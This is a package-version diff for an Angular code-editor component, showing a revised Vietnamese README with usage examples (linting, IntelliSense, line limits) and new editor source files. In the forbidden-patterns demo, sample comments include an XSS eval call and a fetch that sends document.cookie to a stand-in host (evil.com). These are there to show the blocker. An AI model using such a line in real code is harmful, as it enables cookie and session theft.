@libs-ui/components-preview-text-data 0.2.357-2 → 0.2.357-20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -62,220 +62,363 @@ import {
62
62
 
63
63
  ## Ví dụ sử dụng
64
64
 
65
- ### 1. Chế độ xem (Read-only) — ẩn thanh công cụ
65
+ ### 1. Chế độ Xem (Read-only)
66
66
 
67
- ```typescript
68
- // my-viewer.component.ts
69
- import { ChangeDetectionStrategy, Component } from '@angular/core';
70
- import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
67
+ Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
71
68
 
72
- @Component({
73
- selector: 'app-my-viewer',
74
- standalone: true,
75
- changeDetection: ChangeDetectionStrategy.OnPush,
76
- imports: [LibsUiComponentsPreviewTextDataComponent],
77
- template: `
78
- <libs_ui-components-preview_text_data
79
- [content]="configCode"
80
- [langSelected]="'json'"
81
- [hiddenAction]="true"
82
- background="#fcfcfc" />
83
- `,
84
- })
85
- export class MyViewerComponent {
86
- readonly configCode = `{
87
- "projectName": "Libs UI",
88
- "version": "2.0.0",
89
- "features": ["Signals", "CodeMirror", "OnPush"]
69
+ ```html
70
+ <libs_ui-components-preview_text_data
71
+ [content]="readonlyCode"
72
+ [langSelected]="'javascript'"
73
+ [hiddenAction]="true"
74
+ background="#fcfcfc" />
75
+ ```
76
+
77
+ ```typescript
78
+ readonly readonlyCode = `/* Standalone Code Preview */
79
+ function checkStandards(component) {
80
+ return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
90
81
  }`;
91
- }
92
82
  ```
93
83
 
94
- ### 2. Chế độ chỉnh sửa với Linter và đổi ngôn ngữ
84
+ ---
85
+
86
+ ### 2. Chế độ Chỉnh sửa & Linter
87
+
88
+ Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
89
+
90
+ ```html
91
+ <div class="flex flex-col gap-4">
92
+ <libs_ui-components-preview_text_data
93
+ [content]="jsonContent"
94
+ [(langSelected)]="editableLang"
95
+ [editable]="true"
96
+ [langsAccept]="['json', 'javascript', 'sql']"
97
+ (syntaxErrors)="onSyntaxErrors($event)" />
98
+
99
+ @if (linterErrors().length) {
100
+ <div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
101
+ Error: {{ linterErrors()[0].message }}
102
+ </div>
103
+ }
104
+ </div>
105
+ ```
95
106
 
96
107
  ```typescript
97
- // sql-editor.component.ts
98
108
  import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
99
- import {
100
- LibsUiComponentsPreviewTextDataComponent,
101
- IPreviewTextDataChange,
102
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
103
- } from '@libs-ui/components-preview-text-data';
109
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
104
110
  import { Diagnostic } from '@codemirror/lint';
105
111
 
106
- @Component({
107
- selector: 'app-sql-editor',
108
- standalone: true,
109
- changeDetection: ChangeDetectionStrategy.OnPush,
110
- imports: [LibsUiComponentsPreviewTextDataComponent],
111
- template: `
112
- <libs_ui-components-preview_text_data
113
- [content]="sqlQuery"
114
- [(langSelected)]="currentLang"
115
- [editable]="true"
116
- [langsAccept]="['sql', 'javascript', 'json']"
117
- (outChange)="handlerChange($event)"
118
- (syntaxErrors)="handlerSyntaxErrors($event)" />
119
-
120
- @if (lintErrors().length) {
121
- <div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
122
- Lỗi cú pháp: {{ lintErrors()[0].message }}
123
- </div>
124
- }
125
- `,
126
- })
127
- export class SqlEditorComponent {
128
- readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
129
- readonly lintErrors = signal<Diagnostic[]>([]);
130
- readonly sqlQuery = `SELECT id, name, email
131
- FROM users
132
- WHERE status = 'active'
133
- ORDER BY created_at DESC
134
- LIMIT 50;`;
135
-
136
- handlerChange(event: IPreviewTextDataChange): void {
137
- event.stopPropagation?.();
138
- console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
139
- }
112
+ // [content]="jsonContent" — nội dung JSON mẫu ban đầu
113
+ readonly jsonContent = `{
114
+ "projectName": "Libs UI",
115
+ "version": "1.0.0",
116
+ "features": ["Signals", "CodeMirror", "Standalone"],
117
+ "isBmadCompliant": true
118
+ }`;
140
119
 
141
- handlerSyntaxErrors(errors: Diagnostic[]): void {
142
- this.lintErrors.set(errors);
143
- }
120
+ // [(langSelected)]="editableLang" ngôn ngữ đang chọn (two-way binding)
121
+ readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
122
+
123
+ // linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
124
+ readonly linterErrors = signal<Diagnostic[]>([]);
125
+
126
+ // Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
127
+ onSyntaxErrors(errors: Diagnostic[]): void {
128
+ this.linterErrors.set(errors);
144
129
  }
145
130
  ```
146
131
 
147
- ### 3. IntelliSense với dot-notation (giống IDE)
132
+ ---
133
+
134
+ ### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
135
+
136
+ Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
137
+
138
+ ```html
139
+ <libs_ui-components-preview_text_data
140
+ [content]="''"
141
+ [(langSelected)]="codeInputLang"
142
+ [editable]="true"
143
+ [langsAccept]="['javascript', 'python']"
144
+ [minLines]="10"
145
+ [maxLines]="20" />
146
+ ```
148
147
 
149
148
  ```typescript
150
- // js-intellisense.component.ts
151
- import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
152
- import {
153
- LibsUiComponentsPreviewTextDataComponent,
154
- IPreviewTextDataCompletionItem,
155
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
156
- } from '@libs-ui/components-preview-text-data';
149
+ import { signal } from '@angular/core';
150
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
157
151
 
158
- @Component({
159
- selector: 'app-js-intellisense',
160
- standalone: true,
161
- changeDetection: ChangeDetectionStrategy.OnPush,
162
- imports: [LibsUiComponentsPreviewTextDataComponent],
163
- template: `
164
- <libs_ui-components-preview_text_data
165
- [content]="starterCode"
166
- [(langSelected)]="lang"
167
- [editable]="true"
168
- [completions]="completions"
169
- background="#fafbfc" />
170
- `,
171
- })
172
- export class JsIntelliSenseComponent {
173
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
152
+ // Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
153
+ // minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
154
+ readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
155
+ ```
156
+
157
+ ---
158
+
159
+ ### 4. Editor tự fit theo container (min/max-height)
160
+
161
+ Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
162
+
163
+ ```html
164
+ <!-- #boxRef là template ref tới div container -->
165
+ <div #boxRef class="min-h-[120px] max-h-[300px]">
166
+ <libs_ui-components-preview_text_data
167
+ [content]="''"
168
+ [(langSelected)]="codeContainerLang"
169
+ [editable]="true"
170
+ [langsAccept]="['javascript', 'python']"
171
+ [containerElement]="boxRef" />
172
+ </div>
173
+ ```
174
+
175
+ ```typescript
176
+ import { signal } from '@angular/core';
177
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
178
+
179
+ // Bọc editor trong div có min/max-height, truyền chính element đó vào.
180
+ // Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
181
+ readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
182
+ ```
174
183
 
175
- readonly starterCode = `// Gõ "user." hoặc "config." để xem gợi ý
176
- function process() {
177
- const name = user.
178
- const url = config.
184
+ ---
185
+
186
+ ### 5. JavaScript — IntelliSense với Object có sẵn
187
+
188
+ Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
189
+
190
+ ```html
191
+ <libs_ui-components-preview_text_data
192
+ [content]="jsStarterCode"
193
+ [(langSelected)]="jsAutocompleteLang"
194
+ [editable]="true"
195
+ [completions]="jsCompletions"
196
+ background="#fafbfc" />
197
+ ```
198
+
199
+ ```typescript
200
+ import { signal } from '@angular/core';
201
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
202
+
203
+ // [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
204
+ readonly jsStarterCode = `function printUserInfo() {
205
+ const userName = user.
206
+ const baseUrl = config.
207
+ return db.
179
208
  }`;
180
209
 
181
- readonly completions: IPreviewTextDataCompletionItem[] = [
182
- {
183
- label: 'user',
184
- type: 'variable',
185
- detail: 'object',
186
- info: 'User object — thông tin người dùng hiện tại',
187
- properties: [
188
- { label: 'id', type: 'property', detail: 'number', info: 'Unique user ID' },
189
- { label: 'name', type: 'property', detail: 'string', info: 'Họ và tên đầy đủ' },
190
- { label: 'email', type: 'property', detail: 'string', info: 'Địa chỉ email' },
191
- { label: 'role', type: 'property', detail: "'admin' | 'user'", info: 'Vai trò trong hệ thống' },
192
- { label: 'logout', type: 'method', detail: '() => Promise<void>', info: 'Đăng xuất tài khoản' },
193
- ],
194
- },
195
- {
196
- label: 'config',
197
- type: 'variable',
198
- detail: 'object',
199
- info: 'Application configuration',
200
- properties: [
201
- { label: 'apiUrl', type: 'property', detail: 'string', info: 'Base URL của API server' },
202
- { label: 'timeout', type: 'property', detail: 'number', info: 'Request timeout (ms)' },
203
- { label: 'debug', type: 'property', detail: 'boolean', info: 'Bật debug logging' },
204
- ],
205
- },
206
- ];
207
- }
210
+ // [(langSelected)]="jsAutocompleteLang"
211
+ readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
212
+
213
+ // [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
214
+ readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
215
+ {
216
+ label: 'user',
217
+ type: 'variable',
218
+ detail: 'object',
219
+ properties: [
220
+ { label: 'id', type: 'property', detail: 'number' },
221
+ { label: 'name', type: 'property', detail: 'string' },
222
+ { label: 'email', type: 'property', detail: 'string' },
223
+ { label: 'role', type: 'property', detail: "'admin'|'user'" },
224
+ { label: 'logout', type: 'method', detail: '() => Promise<void>' },
225
+ ],
226
+ },
227
+ {
228
+ label: 'config',
229
+ type: 'variable',
230
+ detail: 'object',
231
+ properties: [
232
+ { label: 'apiUrl', type: 'property', detail: 'string' },
233
+ { label: 'timeout', type: 'property', detail: 'number' },
234
+ { label: 'debug', type: 'property', detail: 'boolean' },
235
+ ],
236
+ },
237
+ // ... object "db" tương tự (host, port, query(), connect(), transaction()...)
238
+ ];
208
239
  ```
209
240
 
210
- ### 4. Security policy — chặn pattern nguy hiểm
241
+ ---
242
+
243
+ ### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
244
+
245
+ Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
246
+
247
+ ```html
248
+ <libs_ui-components-preview_text_data
249
+ [content]="jsDeepStarterCode"
250
+ [(langSelected)]="jsDeepAutocompleteLang"
251
+ [editable]="true"
252
+ [completions]="jsDeepCompletions"
253
+ background="#fafbfc" />
254
+ ```
211
255
 
212
256
  ```typescript
213
- // secure-editor.component.ts
214
- import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
215
- import {
216
- LibsUiComponentsPreviewTextDataComponent,
217
- DEFAULT_SECURITY_PATTERNS,
218
- IPreviewTextDataViolation,
219
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
220
- } from '@libs-ui/components-preview-text-data';
257
+ import { signal } from '@angular/core';
258
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
259
+
260
+ // [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
261
+ readonly jsDeepStarterCode = `function buildUserCard() {
262
+ const ctx = app.
263
+ const avatar = app.user.profile.
264
+ const lat = app.user.profile.address.geo.
265
+ return app.services.auth.
266
+ }`;
221
267
 
222
- @Component({
223
- selector: 'app-secure-editor',
224
- standalone: true,
225
- changeDetection: ChangeDetectionStrategy.OnPush,
226
- imports: [LibsUiComponentsPreviewTextDataComponent],
227
- template: `
228
- <libs_ui-components-preview_text_data
229
- [content]="starterCode"
230
- [(langSelected)]="lang"
231
- [editable]="true"
232
- [forbiddenPatterns]="securityPatterns"
233
- (outViolations)="handlerViolations($event)"
234
- background="#fafbfc" />
235
-
236
- @if (violations().length) {
237
- <div class="p-3 bg-red-50 border border-red-200 rounded mt-2">
238
- <p class="text-sm font-semibold text-red-700 mb-1">
239
- Phát hiện {{ violations().length }} vi phạm bảo mật:
240
- </p>
241
- @for (v of violations(); track v.from) {
242
- <p class="text-xs text-red-600 font-mono">
243
- Dòng {{ v.line }}: "{{ v.matched }}" — vi phạm pattern {{ v.pattern }}
244
- </p>
245
- }
246
- </div>
247
- }
248
- `,
249
- })
250
- export class SecureEditorComponent {
251
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
252
- readonly violations = signal<IPreviewTextDataViolation[]>([]);
253
- readonly securityPatterns = DEFAULT_SECURITY_PATTERNS;
268
+ // [(langSelected)]="jsDeepAutocompleteLang"
269
+ readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
270
+
271
+ // [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
272
+ // Gõ "app." → user, config, services
273
+ // Gõ "app.user.profile.address." → city, country, geo
274
+ readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
275
+ {
276
+ label: 'app',
277
+ type: 'variable',
278
+ detail: 'AppContext',
279
+ properties: [
280
+ {
281
+ label: 'user',
282
+ type: 'property',
283
+ detail: 'User',
284
+ properties: [
285
+ { label: 'id', type: 'property', detail: 'number' },
286
+ { label: 'name', type: 'property', detail: 'string' },
287
+ {
288
+ label: 'profile',
289
+ type: 'property',
290
+ detail: 'Profile',
291
+ properties: [
292
+ { label: 'avatar', type: 'property', detail: 'string' },
293
+ { label: 'bio', type: 'property', detail: 'string' },
294
+ {
295
+ label: 'address',
296
+ type: 'property',
297
+ detail: 'Address',
298
+ properties: [
299
+ { label: 'city', type: 'property', detail: 'string' },
300
+ { label: 'country', type: 'property', detail: 'string' },
301
+ {
302
+ label: 'geo',
303
+ type: 'property',
304
+ detail: 'GeoPoint',
305
+ properties: [
306
+ { label: 'lat', type: 'property', detail: 'number' },
307
+ { label: 'lng', type: 'property', detail: 'number' },
308
+ ],
309
+ },
310
+ ],
311
+ },
312
+ ],
313
+ },
314
+ ],
315
+ },
316
+ // ...config, services tương tự (mỗi cấp có 'properties' riêng)
317
+ ],
318
+ },
319
+ ];
320
+ ```
254
321
 
255
- readonly starterCode = `// Code thuần — không gọi API hay truy cập storage
256
- function calculateTotal(items) {
257
- return items.reduce((sum, item) => sum + item.price * item.qty, 0);
258
- }
259
- // Thử gõ: eval("test") hoặc localStorage.getItem('key')
260
- // → sẽ bị highlight đỏ và chặn paste`;
322
+ ---
261
323
 
262
- handlerViolations(violations: IPreviewTextDataViolation[]): void {
263
- this.violations.set(violations);
264
- }
265
- }
324
+ ### 7. Python — IntelliSense với Class/Object
325
+
326
+ Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
327
+
328
+ ```html
329
+ <libs_ui-components-preview_text_data
330
+ [content]="pyStarterCode"
331
+ [(langSelected)]="pyAutocompleteLang"
332
+ [editable]="true"
333
+ [completions]="pyCompletions"
334
+ background="#fafbfc" />
266
335
  ```
267
336
 
268
- ### 5. Chỉ cho phép một ngôn ngữ cố định (không hiển thị dropdown)
337
+ ```typescript
338
+ import { signal } from '@angular/core';
339
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
340
+
341
+ // [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
342
+ readonly pyStarterCode = `def handle_request():
343
+ server = config.
344
+ data = request.
345
+ logger.
346
+ return server`;
347
+
348
+ // [(langSelected)]="pyAutocompleteLang"
349
+ readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
350
+
351
+ // [completions]="pyCompletions"
352
+ readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
353
+ {
354
+ label: 'config',
355
+ type: 'class',
356
+ detail: 'class Config',
357
+ properties: [
358
+ { label: 'host', type: 'property', detail: 'str' },
359
+ { label: 'port', type: 'property', detail: 'int' },
360
+ { label: 'debug', type: 'property', detail: 'bool' },
361
+ { label: 'to_dict', type: 'method', detail: '() -> dict' },
362
+ ],
363
+ },
364
+ // ... object "request" tương tự (method, url, headers, json()...)
365
+ {
366
+ label: 'logger',
367
+ type: 'variable',
368
+ detail: 'Logger',
369
+ properties: [
370
+ { label: 'info', type: 'method', detail: '(msg: str) -> None' },
371
+ { label: 'error', type: 'method', detail: '(msg: str) -> None' },
372
+ { label: 'warning', type: 'method', detail: '(msg: str) -> None' },
373
+ ],
374
+ },
375
+ ];
376
+ ```
377
+
378
+ ---
379
+
380
+ ### 8. Security Policy — Forbidden Patterns
381
+
382
+ Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
269
383
 
270
384
  ```html
271
- <!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
272
385
  <libs_ui-components-preview_text_data
273
- [content]="jsonData"
274
- [(langSelected)]="lang"
386
+ [content]="securityStarterCode"
387
+ [(langSelected)]="securityLang"
275
388
  [editable]="true"
276
- [langsAccept]="['json']" />
389
+ [forbiddenPatterns]="defaultSecurityPatterns"
390
+ (outViolations)="onSecurityViolations($event)"
391
+ background="#fafbfc" />
392
+ ```
393
+
394
+ ```typescript
395
+ import { signal } from '@angular/core';
396
+ import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
397
+
398
+ // [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
399
+ readonly securityStarterCode = `function calculateTotal(items) {
400
+ return items.reduce((sum, item) => sum + item.price * item.qty, 0);
401
+ }
402
+ // Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
403
+ // eval("alert('xss')")
404
+ // fetch('https://evil.com/steal?data=' + document.cookie)`;
405
+
406
+ // [(langSelected)]="securityLang"
407
+ readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
408
+
409
+ // [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
410
+ readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
411
+
412
+ // (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
413
+ readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
414
+
415
+ onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
416
+ this.securityViolations.set(violations);
417
+ }
277
418
  ```
278
419
 
420
+ > ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
421
+
279
422
  ## @Input()
280
423
 
281
424
  | Input | Type | Default | Mô tả | Ví dụ |
@@ -290,6 +433,11 @@ function calculateTotal(items) {
290
433
  | `[forbiddenPatterns]` | `T_ForbiddenPattern[]` | `[]` | Danh sách pattern bị cấm (string hoặc RegExp). Highlight đỏ khi gõ, chặn paste chứa vi phạm, phát ra `(outViolations)` | `[forbiddenPatterns]="DEFAULT_SECURITY_PATTERNS"` |
291
434
  | `[lintIgnorePatterns]` | `string[]` | `['Cannot use import statement...', 'Unexpected token export', 'import ', '@angular/core']` | Danh sách chuỗi lỗi linter JS sẽ bị bỏ qua (ignore) trong quá trình kiểm tra | `[lintIgnorePatterns]="['import ']"` |
292
435
  | `[background]` | `string` | `'#f8f9fa'` | Màu nền của vùng soạn thảo (CSS color value) | `background="#ffffff"` |
436
+ | `[minLines]` | `number` | `undefined` | Số dòng tối thiểu. Nếu content ít dòng hơn sẽ tự bù dòng trống (xử lý 1 lần khi khởi tạo editor); đủ/nhiều hơn thì giữ nguyên, không cắt bớt | `[minLines]="10"` |
437
+ | `[maxLines]` | `number` | `undefined` | Số dòng tối đa hiển thị. Vượt quá → editor giới hạn chiều cao và xuất hiện vùng cuộn (đo line-height thật khi khởi tạo) | `[maxLines]="20"` |
438
+ | `[zIndexPopover]` | `number` | `undefined` | z-index cho popover dropdown chọn ngôn ngữ (dùng khi editor nằm trong modal/overlay có z-index cao) | `[zIndexPopover]="1500"` |
439
+ | `[containerElement]` | `HTMLElement` | `undefined` | Element bọc ngoài (đã set `min-height`/`max-height` CSS). Editor snap số dòng theo container: `min-height` → bù dòng trống cho đủ (hiện line-number 1..N), `max-height` → giới hạn + scroll. **CẤM** dùng cùng `[minLines]`/`[maxLines]` (throw lỗi) | `[containerElement]="boxRef"` |
440
+ | `[hiddenSearchLang]` | `boolean` | `false` | Ẩn ô tìm kiếm trong dropdown chọn ngôn ngữ (danh sách ngôn ngữ ngắn thường không cần search) | `[hiddenSearchLang]="true"` |
293
441
 
294
442
  ## @Output()
295
443
 
@@ -441,14 +589,6 @@ Các pattern được chặn:
441
589
 
442
590
  ⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
443
591
 
444
- ## Demo
445
-
446
- ```bash
447
- npx nx serve core-ui
448
- ```
449
-
450
- Truy cập: http://localhost:4500/preview-text-data
451
-
452
592
  ## Unit Tests
453
593
 
454
594
  ```bash
@@ -0,0 +1,8 @@
1
+ import { Extension } from '@codemirror/state';
2
+ import { IPreviewTextDataCompletionItem } from '../preview-text-data.interfaces';
3
+ /**
4
+ * Tạo extension autocomplete từ danh sách `items`:
5
+ * 1. Gõ `obj.` → gợi ý properties của obj (dot-notation).
6
+ * 2. Gõ ký tự → gợi ý tên biến/object top-level.
7
+ */
8
+ export declare const buildCompletionExtension: (items: IPreviewTextDataCompletionItem[]) => Extension;
@@ -0,0 +1,8 @@
1
+ import { Extension } from '@codemirror/state';
2
+ import { IPreviewTextDataViolation, T_ForbiddenPattern } from '../preview-text-data.interfaces';
3
+ /**
4
+ * Extension bảo mật gồm 2 layer:
5
+ * 1. Linter: highlight đỏ tại đúng vị trí match (bỏ qua match trong comment) + gọi `emitViolations`.
6
+ * 2. Transaction filter: chặn paste nếu nội dung paste chứa pattern cấm.
7
+ */
8
+ export declare const buildForbiddenExtension: (patterns: T_ForbiddenPattern[], emitViolations: (violations: IPreviewTextDataViolation[]) => void) => Extension;
@@ -0,0 +1,21 @@
1
+ import { EditorView } from '@codemirror/view';
2
+ /** Parse giá trị CSS px → number. Trả về undefined nếu không phải px hợp lệ (vd `none`, `0`). */
3
+ export declare const parsePx: (raw: string) => number | undefined;
4
+ /** Bù dòng trống cho đủ `minLines` (xử lý 1 lần khi khởi tạo). Đủ rồi giữ nguyên, không cắt bớt. */
5
+ export declare const applyMinLines: (content: string, minLines?: number) => string;
6
+ /**
7
+ * Tính min/max-height vùng cuộn theo CSS của container ngoài, snap về bội số dòng.
8
+ * Trừ offset phần header/toolbar (giữa đỉnh container và đỉnh vùng cuộn) để vừa khít container.
9
+ */
10
+ export declare const applyContainerHeight: (view: EditorView, container: HTMLElement) => void;
11
+ /**
12
+ * Giới hạn chiều cao editor (xử lý 1 lần). 2 chế độ loại trừ nhau:
13
+ * - `maxLines`: cap theo số dòng truyền vào.
14
+ * - `container`: tự tính số dòng theo `min-height`/`max-height` (CSS) của container, snap bội số dòng.
15
+ * Cấu hình đồng thời `container` + `minLines`/`maxLines` → throw.
16
+ */
17
+ export declare const applyMaxHeight: (view: EditorView | undefined, options: {
18
+ minLines?: number;
19
+ maxLines?: number;
20
+ container?: HTMLElement;
21
+ }) => void;
@@ -0,0 +1,36 @@
1
+ import { autocompletion } from '@codemirror/autocomplete';
2
+ /**
3
+ * Tạo extension autocomplete từ danh sách `items`:
4
+ * 1. Gõ `obj.` → gợi ý properties của obj (dot-notation).
5
+ * 2. Gõ ký tự → gợi ý tên biến/object top-level.
6
+ */
7
+ export const buildCompletionExtension = (items) => {
8
+ const completionSource = (context) => {
9
+ // Cho phép path nhiều cấp (a.b.c.) — [\w.]+ bắt trọn chuỗi trước con trỏ.
10
+ const dotMatch = context.matchBefore(/[\w.]+\.\w*/);
11
+ if (dotMatch) {
12
+ const segments = dotMatch.text.split('.');
13
+ const partial = segments[segments.length - 1]; // phần đang gõ dở sau dấu '.' cuối
14
+ const pathSegments = segments.slice(0, -1); // các cấp đã hoàn tất
15
+ let current = items.find((item) => item.label === pathSegments[0]);
16
+ for (let level = 1; level < pathSegments.length && current; level++) {
17
+ current = current.properties?.find((property) => property.label === pathSegments[level]);
18
+ }
19
+ if (current?.properties?.length) {
20
+ return {
21
+ from: context.pos - partial.length,
22
+ options: current.properties.map((p) => ({ label: p.label, type: p.type ?? 'property', detail: p.detail ?? '', info: p.info ?? '' })),
23
+ };
24
+ }
25
+ }
26
+ const word = context.matchBefore(/\w*/);
27
+ if (!word || (word.from === word.to && !context.explicit))
28
+ return null;
29
+ return {
30
+ from: word.from,
31
+ options: items.map((item) => ({ label: item.label, type: item.type ?? 'variable', detail: item.detail ?? '', info: item.info ?? '' })),
32
+ };
33
+ };
34
+ return autocompletion({ override: [completionSource] });
35
+ };
36
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZWRpdG9yLWNvbXBsZXRpb25zLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vLi4vLi4vLi4vbGlicy11aS9jb21wb25lbnRzL3ByZXZpZXctdGV4dC1kYXRhL3NyYy9lZGl0b3IvZWRpdG9yLWNvbXBsZXRpb25zLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sRUFBRSxjQUFjLEVBQXVDLE1BQU0sMEJBQTBCLENBQUM7QUFJL0Y7Ozs7R0FJRztBQUNILE1BQU0sQ0FBQyxNQUFNLHdCQUF3QixHQUFHLENBQUMsS0FBdUMsRUFBYSxFQUFFO0lBQzdGLE1BQU0sZ0JBQWdCLEdBQUcsQ0FBQyxPQUEwQixFQUEyQixFQUFFO1FBQy9FLDBFQUEwRTtRQUMxRSxNQUFNLFFBQVEsR0FBRyxPQUFPLENBQUMsV0FBVyxDQUFDLGFBQWEsQ0FBQyxDQUFDO1FBQ3BELElBQUksUUFBUSxFQUFFLENBQUM7WUFDYixNQUFNLFFBQVEsR0FBRyxRQUFRLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxHQUFHLENBQUMsQ0FBQztZQUMxQyxNQUFNLE9BQU8sR0FBRyxRQUFRLENBQUMsUUFBUSxDQUFDLE1BQU0sR0FBRyxDQUFDLENBQUMsQ0FBQyxDQUFDLG1DQUFtQztZQUNsRixNQUFNLFlBQVksR0FBRyxRQUFRLENBQUMsS0FBSyxDQUFDLENBQUMsRUFBRSxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUMsc0JBQXNCO1lBRWxFLElBQUksT0FBTyxHQUFHLEtBQUssQ0FBQyxJQUFJLENBQUMsQ0FBQyxJQUFJLEVBQUUsRUFBRSxDQUFDLElBQUksQ0FBQyxLQUFLLEtBQUssWUFBWSxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUM7WUFDbkUsS0FBSyxJQUFJLEtBQUssR0FBRyxDQUFDLEVBQUUsS0FBSyxHQUFHLFlBQVksQ0FBQyxNQUFNLElBQUksT0FBTyxFQUFFLEtBQUssRUFBRSxFQUFFLENBQUM7Z0JBQ3BFLE9BQU8sR0FBRyxPQUFPLENBQUMsVUFBVSxFQUFFLElBQUksQ0FBQyxDQUFDLFFBQVEsRUFBRSxFQUFFLENBQUMsUUFBUSxDQUFDLEtBQUssS0FBSyxZQUFZLENBQUMsS0FBSyxDQUFDLENBQUMsQ0FBQztZQUMzRixDQUFDO1lBQ0QsSUFBSSxPQUFPLEVBQUUsVUFBVSxFQUFFLE1BQU0sRUFBRSxDQUFDO2dCQUNoQyxPQUFPO29CQUNMLElBQUksRUFBRSxPQUFPLENBQUMsR0FBRyxHQUFHLE9BQU8sQ0FBQyxNQUFNO29CQUNsQyxPQUFPLEVBQUUsT0FBTyxDQUFDLFVBQVUsQ0FBQyxHQUFHLENBQUMsQ0FBQyxDQUFDLEVBQUUsRUFBRSxDQUFDLENBQUMsRUFBRSxLQUFLLEVBQUUsQ0